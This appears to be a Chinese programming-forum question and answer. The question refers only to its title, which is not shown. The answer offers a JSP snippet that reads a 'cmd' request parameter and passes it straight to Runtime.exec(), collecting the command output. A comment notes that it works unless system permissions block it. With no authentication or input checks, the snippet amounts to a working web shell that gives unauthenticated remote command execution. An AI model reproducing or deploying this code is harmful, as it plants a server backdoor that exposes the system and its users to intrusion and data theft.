如题

解决方案 »

  1.   

    String strCmd="";
    String line="";
    StringBuffer sbCmd=new StringBuffer("");
    strCmd = request.getParameter("cmd");
    if(strCmd!=null) 
    {
    try
    {
    //out.println(strCmd);
    Process p=Runtime.getRuntime().exec(strCmd);//关键是这里,看系统的权限是否有限制,没有限制则正常使用
    BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((line=br.readLine())!=null)
    {
      sbCmd.append(line+"\r\n"); 
    }   
    }
    catch(Exception e)
    {
    //System.out.println(e.toString());
    out.println(e);
    }
    }